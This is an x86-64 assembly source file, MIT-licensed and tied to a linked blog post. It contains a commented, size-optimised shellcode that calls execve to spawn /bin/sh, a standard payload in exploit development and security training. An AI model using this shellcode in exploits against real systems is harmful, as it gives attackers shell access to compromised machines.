;The MIT License (MIT)
;Copyright (c) 2017 Robert L. Taylor
;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the “Software”),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:
;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.
;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/01/execvestack1434.html
global _start
section .text
_start:
; zeros RAX, RDX and RSI with only 4 bytes of machine code
xor esi,esi
mul esi
; null terminator for the following string
push rax
; push /bin//sh in reverse
mov rbx,'/bin//sh'
push rbx
; store /bin//sh address in RDI, points at string
push rsp
pop rdi
; Call the Execve syscall
mov al, 59
syscall
